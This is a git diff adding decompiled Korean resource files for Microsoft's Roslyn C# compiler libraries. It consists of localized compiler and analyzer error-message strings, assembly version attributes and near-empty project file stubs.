일치하는 오버로드된 메서드에는 잘못된 이니셜라이저 요소의 시그니처가 있습니다. 초기화 가능한 Add는 액세스 가능한 인스턴스 메서드여야 합니다. + 공개 서명이 지정되었으며 공개 키가 있어야 하지만 공개 키가 지정되지 않았습니다. + 매개 변수 형식에서 참조 형식의 null 허용 여부가 암시적으로 구현된 멤버와 일치하지 않음(null 허용 여부 특성 때문일 수 있음) + 반환 형식에서 참조 형식의 null 허용 여부가 구현된 멤버 '{0}'과(와) 일치하지 않습니다(null 허용 여부 특성 때문일 수 있음). + )가 필요합니다. + '{0}' 소스 파일을 찾을 수 없습니다. + 속성 + C# {2}의 '{0}' 값 '{1}'이(가) 잘못되었습니다. 언어 버전 '{3}' 이상을 사용하세요. + '{0}'은(는) 읽기 전용이므로 참조로 반환할 수 없습니다. + '&' 연산자의 대상으로 수신기가 있는 확장 메서드는 사용할 수 없습니다. + 매개 변수 '{0}'에 적용된 CallerArgumentExpressionAttribute는 효과가 없습니다. CallerFilePathAttribute에 의해 재정의됩니다. + void 반환 대리자로 변환된 익명 함수는 값을 반환할 수 없습니다. + 패턴에 'dynamic' 형식을 사용할 수 없습니다. + {0} '{1}'은(는) 읽기 전용 변수이므로 ref 또는 out 값으로 사용할 수 없습니다. + 소멸자 및 object.Finalize는 직접 호출할 수 없습니다. 가능한 경우 IDisposable.Dispose를 호출하세요. + 대상 런타임이 인터페이스에서 정적 추상 멤버를 지원하지 않기 때문에 '{0}'은(는) '{2}' 유형의 인터페이스 멤버 '{1}'을(를) 구현할 수 없습니다. + 서명이 일치하지 않기 때문에 인터셉터 '{1}'을(를) 사용하여 메서드 '{0}'을(를) 가로챌 수 없습니다. + 문자 리터럴에 문자가 너무 많습니다. + SyntaxTree는 컴파일의 일부가 아닙니다. + 서로 다른 #pragma 체크섬 값이 지정되었습니다. + PrincipalPermission 특성에 대한 SecurityAction 값('{0}')이 잘못되었습니다. + 배열 선언자가 잘못되었습니다. 관리되는 배열을 선언하려면 차수 지정자가 변수 식별자보다 앞에 와야 합니다. 고정 크기 버퍼 필드를 선언하려면 fixed 키워드를 필드 형식 앞에 사용하세요. + '{0}'의 partial 선언에는 동일한 순서로 동일한 형식 매개 변수 이름과 가변성(variance) 한정자가 있어야 합니다. + '{0}'은(는) '{1}' 특수 클래스에서 파생될 수 없습니다. + '{0}'은(는) '{1}'을(를) 반환하는 비동기 메서드이므로 반환 키워드 뒤에 개체 식이 있으면 안 됩니다. + '{0}'은(는) 읽기 전용이므로 ref 또는 out 값으로 사용할 수 없습니다. + 개체 또는 컬렉션 이니셜라이저가 가능한 null 멤버 '{0}'을(를) 암시적으로 역참조합니다. + 소스 형식 '{0}'에 대해 구현된 쿼리 패턴을 찾을 수 없습니다. '{1}'을(를) 찾을 수 없습니다. + CallerMemberNameAttribute는 기본값이 있는 매개 변수에만 적용할 수 있습니다. + 형식이 가져온 네임스페이스와 충돌합니다. + XML 주석에 '{0}'에 대한 param 태그가 있지만 해당 이름의 매개 변수는 없습니다. + 형식 매개 변수가 외부 메서드의 형식 매개 변수와 형식이 같습니다. + 매개 변수 '{0}'이(가) 명시적으로 제공되지 않았지만 매개 변수 '{1}'에서 보간된 문자열 처리기 변환에 대한 인수로 사용됩니다. '{1}' 앞에 '{0}' 값을 지정하세요. + 공개된 형식 또는 멤버에 대한 XML 주석이 없습니다. + '{1}' 형식을 포함하는 '{0}' 어셈블리가 지원되지 않는 .NET Framework를 참조합니다. + 정수 계열 상수와 비교하는 것은 의미가 없습니다. 상수가 형식의 범위를 벗어났습니다. + 형식은 제네릭 형식 또는 메서드에서 형식 매개 변수로 사용할 수 없습니다. 형식 인수의 Null 허용 여부가 제약 조건 형식과 일치하지 않습니다. + 형식은 == 연산자 또는 != 연산자를 정의하지만 Object.GetHashCode()를 재정의하지 않습니다. + 소스에 표시되는 인스턴스를 위해 특성이 무시됨 + '{0}' 소스 파일을 열 수 없습니다. {1} + 이 선언 형식에서는 '{0}' 특성이 유효하지 않습니다. 이 특성은 '{1}' 선언에서만 유효합니다. + 식 트리에는 null 병합 할당을 사용할 수 없습니다. + 이름이 '{0}'인 지역 또는 매개 변수는 이 범위에서 선언될 수 없습니다. 해당 이름이 지역 또는 매개 변수를 정의하기 위해 바깥쪽 지역 범위에서 사용되었습니다. + '{0}'의 형식이 '{1}'입니다. 문자열이 아닌 참조 형식의 기본 매개 변수 값은 null로만 초기화할 수 있습니다. + 어셈블리 '{0}'에 '{1}' 특성 또는 '{2}' 특성이 없으므로 이 어셈블리의 interop 형식을 포함할 수 없습니다. + '{1}'의 '{0}' 매개 변수 형식에서 참조 형식의 Null 허용 여부가 대상 대리자 '{2}'과(와) 일치하지 않습니다(Null 허용 여부 특성 때문일 수 있음). + '{0}' 제약 조건 형식이 CLS 규격이 아닙니다. + 보간된 문자열 처리기 생성은 동적을 사용할 수 없습니다. '{0}'의 인스턴스를 수동으로 구성하세요. + 정적 필드 또는 속성 '{0}'은(는) 개체 이니셜라이저에 할당할 수 없습니다. + '{0}' 특성이 중복되었습니다. + '{0}' 특성은 System.Attribute에서 파생된 클래스에만 유효합니다. + ref 조건부 연산자의 분기는 선언 범위가 호환되지 않는 변수를 참조합니다. + 예기치 않은 '...' 문자 시퀀스입니다. + '{1}' 메서드의 '{0}' 형식 매개 변수에 대한 제약 조건의 Null 허용 여부가 '{3}' 인터페이스 메서드의 '{2}' 형식 매개 변수에 대한 제약 조건과 일치하지 않습니다. 명시적 인터페이스 구현을 대신 사용하세요. + 구조체 형식의 null과 비교하면 결과는 항상 'false'입니다. + RequiredAttribute 특성은 C# 형식에서 허용되지 않습니다. + 지역 변수는 컴파일러가 생성한 것을 포함하여 65534개까지만 사용할 수 있습니다. + 일반적으로 volatile 필드는 volatile로 처리되지 않으므로 ref 또는 out 값으로 사용해서는 안 됩니다. 단, interlocked API를 호출하는 등의 경우에는 예외입니다. + 형식에 있는 참조 형식 Null 허용 여부가 재정의된 멤버와 일치하지 않습니다. + 어셈블리 '{1}'과(와) '{2}' 모두에 있는 interop 형식 '{0}'을(를) 포함할 수 없습니다. 'Interop 형식 포함' 속성을 false로 설정하세요. + 경로가 너무 길거나 잘못되었습니다. + '{1} {0}'에 잘못된 반환 형식이 있습니다. + 일부 조건으로 종료할 때 멤버는 null이 아닌 값을 가져야 합니다. + '{0}' 매개 변수 형식에 있는 참조 형식 Null 허용 여부가 구현된 멤버 '{1}'과(와) 일치하지 않습니다. + 형식은 컬렉션 패턴을 구현하지 않습니다. 멤버의 서명이 잘못되었습니다. + 비동기 기본 + 어셈블리 '{2}'에서 형식 '{1}'의 멤버 '{0}'이(가) 발견되지 않았습니다. + 이 위치에서 끝 태그가 필요하지 않습니다. + '{1}': 정적 클래스 '{0}'에서 파생될 수 없습니다. + 'UnmanagedCallersOnly' 특성이 지정된 메서드는 제네릭 형식 매개 변수를 포함할 수 없으며 제네릭 형식에 선언할 수 없습니다. + '{0}'은(는) 참조로 마샬링하는 클래스의 필드이므로 이 필드의 멤버에 액세스하면 런타임 예외가 발생할 수 있습니다. + 식이 필요합니다. + '{0}'에서 friend 액세스 권한을 부여했지만, 출력 어셈블리('{1}')의 공개 키가 부여한 어셈블리의 InternalsVisibleTo 특성에서 지정된 키와 일치하지 않습니다. + '{0}'은(는) 언어에서 지원하는 형식이 아닙니다. + 모듈 이니셜라이저 메서드 '{0}'은(는) 정적이어야 하고, 가상이 아니어야 하고, 매개 변수가 없어야 하며, 'void'를 반환해야 합니다. + '{1}'을(를) 반환하려면 반복기 블록이 있는 '{0}' 메서드가 '비동기'여야 합니다. + 식은 부울로 암시적으로 변환할 수 있어야 하거나 '{0}' 형식은 '{1}' 연산자를 정의해야 합니다. + 개체를 여러 번 삭제할 수 있습니다. + '{0}' 매개 변수에 적용되는 CallerMemberNameAttribute는 효과가 없습니다. CallerLineNumberAttribute에서 재정의합니다. + 어셈블리 참조가 잘못되어 확인할 수 없습니다. + ++ 또는 -- 연산자의 매개 변수 형식은 포함하는 형식이어야 합니다. + 할당되지 않았을 수 있는 자동 구현 속성 '{0}'을(를) 사용하고 있습니다. 속성을 자동으로 기본 설정하려면 언어 버전 '{1}'으로 업데이트하는 것이 좋습니다. + null 리터럴 또는 가능한 null 값을 null을 허용하지 않는 형식으로 변환하는 중입니다. + RuntimeMetadataVersion에 대한 값이 없습니다. + static이 아닌 필드, 메서드 또는 속성 '{0}'에 개체 참조가 필요합니다. + 참조 매개 변수를 통해 매개 변수 '{0}'의 구성원을 참조로 반환할 수 없습니다. return 문에서만 반환될 수 있습니다. + 어셈블리에 CLSCompliant 특성이 없으므로 형식 또는 멤버를 CLS 규격으로 표시할 수 없습니다. + AsyncMethodBuilder 특성은 명시적 반환 형식이 없는 익명 메서드에서 허용되지 않습니다. + 메소드 그룹을 비 위임 유형으로 변환 + '{0}': 반환 형식이 재정의된 '{1}' 멤버와 일치하려면 '{2}' 형식이어야 합니다. + using 변수를 switch 섹션 내에 직접 사용할 수 없습니다. 중괄호를 사용하세요. + 구문 트리를 최대 하나만 제출할 수 있습니다. + '{1}' 대리자와 일치하는 '{0}'에 대한 오버로드가 없습니다. + '{0}' 식별자는 이 컨텍스트에서 '{1}' 형식과 '{2}' 매개 변수 사이에 모호합니다. + XML 주석 cref 특성의 매개 변수에 대해 잘못된 형식입니다. + '{0}' 이름은 '{1}' 튜플 요소를 식별하지 않습니다. + 인덱서를 포함하는 형식에 DefaultMember 특성을 지정할 수 없습니다. + 경고 수준은 0 이상이어야 합니다. + 식 본문 인덱서 + 로컬 함수 '{0}'은(는) 'static extern'으로 표시되어 있지 않으므로 본문을 선언해야 합니다. + {0} 매개 변수는 람다에서 '{1:10}' 기본값을 가지지만 대상 대리자 형식에서는 '{2:10}'을 가집니다. + '{0}': 동적 유형에서 파생될 수 없습니다. + 부분 메서드 '{0}'에는 void가 아닌 반환 형식이 있으므로 접근성 한정자가 있어야 합니다. + 왼쪽에 null 또는 기본 리터럴이 있는 병합 연산자를 람다 식 트리에 사용할 수 없습니다. + '{0}': 비동기 using 문에 사용된 형식은 암시적으로 'System.IAsyncDisposable'로 변환할 수 있거나 적합한 'DisposeAsync' 메서드를 구현해야 합니다. + 구문 오류입니다. '{0}'이(가) 필요합니다. + '{2}'에 필수 구성원이 있으므로 '{2}'은(는) 제네릭 형식 또는 메서드 '{0}'의 '{1}' 매개 변수에 대한 'new()' 제약 조건을 충족할 수 없습니다. + switch 식에서 명명되지 않은 열거형 값이 사용되는 입력 형식의 일부 값을 처리하지 않습니다. 예를 들어, 패턴 '{0}'이(가) 포함되지 않았습니다. + 참조 형식의 null 허용 여부 차이로 인해 '{3}'에서 '{1}' 형식 '{2}' 매개 변수에 대해 '{0}' 형식 인수를 사용할 수 없습니다. + 인식할 수 있는 특성 위치가 아닙니다. + 이 컨텍스트에서 '{0}' 결과를 사용하면 선언 범위 외부에서 '{1}' 매개 변수가 참조하는 변수가 노출될 수 있습니다. + 요소 이니셜라이저는 비워 둘 수 없습니다. + 'readonly' 멤버에서 readonly 멤버가 아닌 '{0}' 멤버를 호출하면 '{1}'의 암시적 복사본이 생성됩니다. + {0} 절에 있는 식의 형식이 잘못되었습니다. '{1}'에 대한 호출에서 형식을 유추하지 못했습니다. + 예외 필터 + 최소한 하나의 최상위 문은 비어 있지 않아야 합니다. + '{0}'의 부분 메서드(Partial method) 선언의 '{1}' 형식 매개 변수에 대한 제약 조건이 일관되지 않습니다. + \ No newline at end of file diff --git a/decompiled/Libraries/ko.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/ko.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..f1cc5cb --- /dev/null +++ b/decompiled/Libraries/ko.microsoft.codeanalysis.csharp.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis.CSharp")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/ko.microsoft.codeanalysis.csharp.resources/costura.ko.microsoft.codeanalysis.csharp.resources.csproj b/decompiled/Libraries/ko.microsoft.codeanalysis.csharp.resources/costura.ko.microsoft.codeanalysis.csharp.resources.csproj new file mode 100644 index 0000000..5be603d --- /dev/null +++ b/decompiled/Libraries/ko.microsoft.codeanalysis.csharp.resources/costura.ko.microsoft.codeanalysis.csharp.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.CSharp.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/ko.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.ko.resx b/decompiled/Libraries/ko.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.ko.resx new file mode 100644 index 0000000..8309bd9 --- /dev/null +++ b/decompiled/Libraries/ko.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.CodeAnalysisResources.ko.resx @@ -0,0 +1,248 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089구조체 + 요소가 필요합니다. + PE 이미지를 사용할 수 없습니다. + 잘못된 공용 키 토큰 크기입니다. + 추가 파일이 기본 'CompilationWithAnalyzers'에 속하지 않습니다. + 여러 전역 분석기 구성 파일이 섹션 '{1}'에 같은 키 '{0}'을(를) 설정했습니다. 해당 키 설정이 해제되었습니다. 키는 '{2}' 파일에 의해 설정되었습니다. + 레거시 파일 서명에 대한 임시 경로를 사용할 수 없습니다. + 이벤트 + '{0}' 형식을 포함하는 어셈블리가 지원되지 않는 .NET Framework를 참조합니다. + 어셈블리 참조: '{0}' + 현재 어셈블리에 IVT 부여: {1} + 다음에 IVT를 부여합니다. + '{0}' 분석기의 'SupportedDiagnostics'에 null 설명자가 포함되어 있습니다. + '{0}' 매개 변수는 이 컴파일 또는 일부 참조된 어셈블리의 기호여야 합니다. + 일치하지 않는 언어 버전 + 참조 확인자는 읽을 수 있고 null이 아닌 스트림을 반환해야 합니다. + 잘못된 컴파일 옵션입니다. 제출에 서명할 수 없습니다. + pathMap의 키가 비어 있습니다. + 분석기 구성 파일의 심각도가 잘못되었습니다. + 규칙 설정 파일에서 '{1}' 및 '{2}'이(가) 다르게 동작하는 '{0}'에 대한 규칙이 중복되었습니다. + 형식은 SyntaxAnnotation의 하위 클래스여야 합니다. + 값이 너무 커서 30비트 정수로 표시할 수 없습니다. + 모듈에 별칭을 지정할 수 없습니다. + 어셈블리 문화권 이름에 잘못된 문자가 있습니다. + 모듈 + 메서드 + Windows PDB 기록기는 결정적 컴파일을 지원하지 않습니다. '{0}' + 분석기 + '{0}' 매개 변수는 'INamedTypeSymbol' 또는 'IAssemblySymbol'이어야 합니다. + 이 분석기를 사용하지 않도록 설정하려면 다음 진단이 표시되지 않도록 설정하세요. {0} + 클래스 + 경고: 다음 예외 때문에 멀티 코어 JIT를 사용할 수 없습니다. {0} + PDB를 내보낼 때만 포함된 텍스트가 지원됩니다. + 모듈 복사본은 어셈블리 메타데이터를 만드는 데 사용할 수 없습니다. + 전역 분석기 구성 섹션 이름 '{0}'이(가) 절대 경로가 아니므로 잘못되었습니다. 섹션이 무시됩니다. 파일 '{1}'에 섹션이 선언되었습니다. + 아이콘 스트림이 필요한 형식이 아닙니다. + '{2}'의 분석기 구성 파일에 있는 진단 '{0}'에 잘못된 심각도 '{1}'이(가) 지정되었습니다. + 어셈블리 이름: '{0}' + 공개 키: + 파일을 찾을 수 없습니다. + {0} 특성에 잘못된 {1} 값이 있습니다. + COFF 개체 형식으로 간주되는 Win32 리소스에 잘못된 섹션 크기가 있습니다. + hintName이 '{0}'인 SourceText에는 명시적 인코딩 집합이 있어야 합니다. + 인식할 수 없는 리소스 파일 형식입니다. + 매개 변수 + 속성, 인덱서 + {0} 요소에 이름이 {1}인 특성이 없습니다. + 제거할 '{0}' MetadataReference를 찾을 수 없습니다. + '{0}' 메타데이터 모듈에 잘못된 모듈 이름이 지정되었습니다('{1}'). + 이름에 잘못된 문자가 포함되어 있습니다. + 이 옵션에 대한 언어 이름을 지정할 수 없습니다. + PDB를 PE 스트림에 포함할 경우 PDB 스트림을 지정하면 안 됩니다. + 없음 + 메타데이터만 내보낼 때 PDB 스트림을 지정해서는 안 됩니다. + hintName의 {0} 위치 {2}에 잘못된 문자 '{1}'이(가) 있습니다. + 분석기 드라이버 오류 + 여러 전역 분석기 구성 파일이 같은 키를 설정했습니다. 해당 키 설정이 해제되었습니다. + 참조 어셈블리를 내보내지 않는 경우 프라이빗 멤버를 포함해야 합니다. + -1 아래의 '/keepalive' 옵션에 대한 인수가 잘못되었습니다. + 지정한 작업에 null이 아닌 부모가 있습니다. + 전역 분석기 구성 섹션 이름이 절대 경로가 아니므로 잘못되었습니다. 섹션이 무시됩니다. + 절대 경로가 필요합니다. + {0} 오프셋의 잘못된 데이터: {1}{2}*{3}{4} + 오류의 특정 원인을 확인할 수 없습니다. + XML 문서에 대한 참조는 지원되지 않습니다. + 스트림이 너무 깁니다. + 반환 형식에는 값 형식, 포인터, by-ref 또는 공개 제네릭 형식을 사용할 수 없습니다. + 튜플의 기본 형식은 튜플과 호환되어야 합니다. + 다음 컨텍스트에서 예외가 발생했습니다. +{0} + 직렬화 바인더가 '{0}' 형식을 인식할 수 없습니다. + 일관성 없는 구문 트리 기능 + 모듈에서 interop 형식을 포함할 수 없습니다. + SourceText를 포함할 수 없습니다. 생성 시 인코딩 또는 canBeEmbedded=true를 지정하세요. + 스트림에 잘못된 데이터가 들어 있습니다. + 시간(초) + 모듈에 잘못된 특성이 있습니다. + 구문 트리가 기본 '컴파일'에 속하지 않습니다. + 잘못된 해시입니다. + '/keepalive' 옵션은 '/shared' 옵션과 함께 사용되는 경우에만 유효합니다. + 보조 어셈블리 출력으로 내보낼 때 프라이빗 멤버를 포함해서는 안 됩니다. + 현재 컴파일 및 참조된 모든 어셈블리에 대한 'InternalsVisibleToAttribute' 정보를 인쇄합니다. + {0}.ResolveStrongNameKeyFile에서 반환한 경로는 절대 경로여야 합니다. '{1}' + 규칙 집합 파일 '{0}'을(를) 찾을 수 없습니다. + 어셈블리 서명은 지원되지 않습니다. + 보고된 진단 '{0}'의 소스 위치 '{1}'이(가) 지정된 파일의 범위 밖인 파일 '{2}'에 있습니다. + 추적할 노드가 루트의 하위 항목이 아닙니다. + 지정한 작업 블록이 현재 분석 컨텍스트에 속하지 않습니다. + 지정한 항목은 목록의 요소가 아닙니다. + 대리자 + 스트림에 쓸 수 없습니다. + /shared:' 인수의 값은 비워 둘 수 없습니다. + '{0}'에 대한 역직렬화 판독기가 잘못된 숫자 값을 읽습니다. + '{0}' 분석기의 'SupportedSuppressions'에 null 설명자가 포함되어 있습니다. + 제출에 대한 참조를 만들 수 없습니다. + {0}.ResolveMetadataFile에서 반환한 경로는 절대 경로여야 합니다. '{1}' + 확인되지 않음: + /keepalive' 옵션의 인수는 32비트 정수가 아닙니다. + 범위에 줄의 시작이 포함되지 않습니다. + 위치 없이 어셈블리에 대한 메타데이터 참조를 만들 수 없습니다. + 잘못된 문화권 이름입니다('{0}'). + 잘못된 계측 종류: {0} + 튜플에는 요소가 두 개 이상 있어야 합니다. + 변경 내용의 순서를 지정해야 하고 겹쳐서는 안 됩니다. + Roslyn 컴파일러 서버가 빌드 작업과 다른 프로토콜 버전을 보고합니다. + 총 분석기 실행 시간: {0}초. + 컴파일 옵션에 오류가 없어야 합니다. + '{0}' 형식을 직렬화할 수 없습니다. + 메타데이터만 내보낼 때 메타데이터 PE 스트림을 지정해서는 안 됩니다. + 비어 있거나 잘못된 리소스 이름입니다. + 반환 형식에는 void, by-ref 또는 공개 제네릭 형식을 사용할 수 없습니다. + Windows PDB 기록기는 SourceLink 기능을 지원하지 않습니다. '{0}' + 공개 키 토큰이 잘못되었습니다. + 진단 '{0}:{1}'은(는) 비표시 ID가 '{2}'이고 근거가 '{3}'인 DiagnosticSuppressor에서 프로그래밍 방식으로 표시되지 않았습니다. + /keepalive' 옵션에 인수가 없습니다. + <메모리 내 모듈> + 생성기 + 지정한 작업에 null 의미 체계 모델이 있습니다. + Windows PDB 기록기가 필요한 버전보다 이전 버전입니다. '{0}' + 노드 또는 토큰이 순서를 벗어났습니다. + 메타데이터를 내보낼 때 PDB를 포함할 수 없습니다. + 동적 어셈블리에 대한 메타데이터 참조를 만들 수 없습니다. + 표시되지 않는 진단 ID '{0}'이(가) 지정된 비표시 설명자의 표시하지 않을 수 있는 ID '{1}'과(와) 일치하지 않습니다. + COFF 개체 형식으로 간주되는 Win32 리소스에 잘못된 기호 값이 둘 이상 있습니다. + 스트림은 읽기 및 찾기 작업을 지원해야 합니다. + 열거형 + 보고된 진단 '{0}'의 소스 위치가 분석되는 컴파일의 일부가 아닌 '{1}' 파일에 있습니다. + 필드 + 이름을 비워 둘 수 없습니다. + 총 생성기 실행 시간: {0} 초 + COFF 형식으로 간주되는 Win32 리소스에 '.rsrc$01' 및 '.rsrc$02' 섹션이 하나 또는 둘 다 없습니다. + 튜플 요소 이름을 지정하는 경우 요소 이름 수가 튜플의 카디널리티와 일치해야 합니다. + 해당 yield return 문이 삭제되었으므로 편집하고 계속하기가 일시 중단된 반복기를 다시 시작할 수 없습니다. + 잘못된 콘텐츠 형식입니다. + {0}.GetMetadata()는 {1}의 인스턴스를 반환해야 합니다. + 보고된 진단의 ID가 '{0}'인데 유효한 식별자가 아닙니다. + 어셈블리에 대한 모듈 참조를 만들 수 없습니다. + 튜플 요소 nullable 주석이 지정된 경우, 주석 수는 튜플의 카디널리티와 일치해야 합니다. + 인수에 중복된 분석기 인스턴스가 포함되어 있습니다. + 이름은 공백으로 시작할 수 없습니다. + 차원이 두 개 이상인 배열을 직렬화할 수 없습니다. + 디버깅 중에는 어셈블리 참조의 버전 변경이 허용되지 않습니다. '{0}'이(가) 버전을 '{1}'(으)로 변경했습니다. + ID가 '{0}'인 보고된 진단이 분석기에서 지원되지 않습니다. + 이 옵션에 대한 언어 이름을 지정해야 합니다. + 메서드 기호가 필요합니다. + 출력 종류가 지원되지 않습니다. + 구분 기호가 필요합니다. + 목록의 노드가 필요한 형식이 아닙니다. + hintName '{0}'의 위치 {2}에 잘못된 세그먼트 '{1}'이(가) 있습니다. + {0}은(는) '기본값'이거나 {1}과(와) 길이가 같아야 합니다. + 이름은 null일 수 없습니다. + 변경 내용은 SourceText의 범위 내에 있어야 합니다. + 지원되지 않는 해시 알고리즘입니다. + 리소스 스트림 공급자는 null이 아닌 스트림을 반환해야 합니다. + WindowsRuntime ID는 대상으로 다시 지정할 수 없습니다. + 인수에 이 CompilationWithAnalyzers 인스턴스에 대한 '분석기'에 속하지 않는 분석기 인스턴스가 포함되어 있습니다. + 참조 어셈블리를 내보낼 때 NET 모듈을 대상으로 지정할 수 없습니다. + '{0}' 형식을 역직렬화할 수 없습니다. + 스트림을 읽을 수 있어야 합니다. + 인터페이스 + COFF 개체 형식으로 간주되는 Win32 리소스에 잘못된 재배치 헤더 값이 둘 이상 있습니다. + 분석기 '{0}'에서 '{2}' 메시지와 함께 '{1}' 형식의 예외를 throw했습니다. +{3} + <메모리 내 어셈블리> + {0}과(와) {1}의 길이가 같아야 합니다. + 추가된 원본 파일의 hintName ‘{0}’은(는) 생성기 내에서 고유해야 합니다. + 튜플 요소 이름은 빈 문자열일 수 없습니다. + 제출에 대해 잘못된 출력 종류입니다. DynamicallyLinkedLibrary가 필요합니다. + SuppressionDescriptor에 null, 빈 문자열 및 공백만 포함된 문자열이 아닌 ID가 있어야 합니다. + 스트림이 쓰기 가능해야 합니다. + 잘못된 어셈블리 이름입니다('{0}'). + 잘못된 별칭입니다. + 생성자 + 분석기를 찾을 수 없습니다. + 어셈블리에는 모듈이 하나 이상 있어야 합니다. + 해당 대기 식이 삭제되었으므로 편집하고 계속하기가 일시 중단된 비동기 메서드를 재개할 수 없습니다. + 리소스 데이터 공급자는 null이 아닌 스트림을 반환해야 합니다. + ID가 '{0}'인 보고되지 않는 진단은 표시되지 않도록 설정할 수 없습니다. + 리소스 스트림이 {0}바이트에서 끝났는데 {1}바이트여야 합니다. + PE 이미지에 관리된 메타데이터가 포함되어 있지 않습니다. + 비어 있거나 잘못된 파일 이름입니다. + 돌아가기 + 분석기 드라이버에서 '{0}' 메시지와 함께 '{1}' 형식의 예외를 throw했습니다. +{2} + 파일 크기가 유효한 메타데이터 파일에 허용된 최대 크기를 초과했습니다. + 범위에 줄의 끝이 포함되지 않습니다. + 이전 제출에 오류가 있습니다. + 컴파일에서 버전이 자동 생성 빌드 및/또는 수정 번호만 다른 여러 어셈블리를 참조합니다. + 분석기 진단의 프로그래밍 방식 비표시 + 어셈블리 파일을 찾을 수 없습니다. + 공개 키가 잘못되었습니다. + 스트림에서 읽을 수 없습니다. + '{0}' 형식의 참조를 이 컴파일에 사용할 수 없습니다. + 요청한 줄 번호 {0}은(는) {1} 줄 수보다 작아야 합니다. + DiagnosticDescriptor에 null, 빈 문자열 및 공백만 포함된 문자열이 아닌 ID가 있어야 합니다. + ID가 '{0}'인 보고된 비표시가 억제 장치에서 지원되지 않습니다. + 제공된 작업은 제어 흐름 그래프의 일부가 아니어야 합니다. + 생성기당 하나의 {0}만 등록할 수 있습니다. + 형식은 이전 제출의 호스트 개체 형식과 같아야 합니다. + 튜플 요소 위치가 지정된 경우, 위치 수는 튜플의 카디널리티와 일치해야 합니다. + 현재 어셈블리: '{0}' + '{0}'은(는) 유효한 기본 제공 연산자 이름이 아닙니다. + 지원되지 않는 기본 제공 연산자: {0} + 기본 제공 연산자 이름 '{0}'이(가) 잘못되었습니다. + 'end'는 'start'보다 작을 수 없습니다. start='{0}' end='{1}' + 모듈에 대한 참조를 만들 수 없습니다. + 분석기 오류 + 비어 있지 않은 공용 키가 필요합니다. + 포함된 규칙 설정 파일 {0}을(를) 로드하는 동안 오류가 발생했습니다. {1} + 어셈블리 이름에 잘못된 문자가 있음 + 참고: 여러 분석기가 동시에 실행될 수 있으므로 경과된 시간이 분석기 실행 시간보다 짧을 수 있습니다. + 인수에는 null 요소가 있을 수 없습니다. + 인수는 비워 둘 수 없습니다. + 어셈블리 + 형식 매개 변수 + 'start'는 음수일 수 없습니다. + 크기는 양수여야 합니다. + pathMap의 값이 null입니다. + \ No newline at end of file diff --git a/decompiled/Libraries/ko.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.ko.resx b/decompiled/Libraries/ko.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.ko.resx new file mode 100644 index 0000000..b909f0b --- /dev/null +++ b/decompiled/Libraries/ko.microsoft.codeanalysis.resources/Microsoft.CodeAnalysis.Internal.Strings.ko.resx @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089대상 배열의 하한은 0이어야 합니다. + 대상 배열 형식이 컬렉션의 항목 형식과 호환되지 않습니다. + 컬렉션이 고정 크기입니다. + 컬렉션이 수정되었습니다. 열거 작업이 실행되지 않을 수도 있습니다. + 숫자가 첫째 차원에서 배열의 하한보다 작습니다. + 대상 배열이 컬렉션의 모든 항목을 복사하기에 충분히 길지 않습니다. 배열 인덱스와 길이를 확인하세요. + 배열의 두 요소를 비교하지 못했습니다. + 동일한 키를 사용하는 항목이 이미 추가되었습니다. 키: {0} + 지정한 배열의 차수가 같아야 합니다. + 오프셋 및 길이가 배열의 범위를 벗어났거나 카운트가 인덱스부터 소스 컬렉션 끝까지의 요소 수보다 큽니다. + IComparer.Compare() 메서드가 일관성 없는 결과를 반환하므로 정렬할 수 없습니다. 값이 자신과 같은지 비교하지 않거나 한 값이 다른 값과 반복해서 비교되어 다른 결과를 생성합니다. IComparer: '{0}'. + 개수는 양수여야 하고 문자열/배열/컬렉션 내의 위치를 참조해야 합니다. + 인덱스가 범위를 벗어났습니다. 인덱스는 음수가 아니어야 하며 컬렉션의 크기보다 작아야 합니다. + 개체가 비교할 배열과 요소 수가 같은 배열이 아닙니다. + 용량이 현재 크기보다 작습니다. + 요청한 동작에 대해 1차원 배열만 지원됩니다. + 사전에서 파생된 값 컬렉션은 변경할 수 없습니다. + 컬렉션 크기보다 큽니다. + 인덱스는 목록의 범위 내에 있어야 합니다. + 음수가 아닌 수가 필요합니다. + 이전 값을 찾을 수 없음 + 비동시 컬렉션을 변경하는 작업에는 단독 액세스 권한이 있어야 합니다. 이 컬렉션에 대해 동시 업데이트가 수행되어 해당 상태가 손상되었습니다. 컬렉션의 상태가 더 이상 올바르지 않습니다. + 지정된 키 '{0}'이(가) 사전에 없습니다. + 사전에서 파생된 키 컬렉션은 변경할 수 없습니다. + 대상 배열의 길이가 짧습니다. 대상 인덱스, 길이, 배열의 하한을 확인하세요. + 해시 테이블 용량에 오버플로가 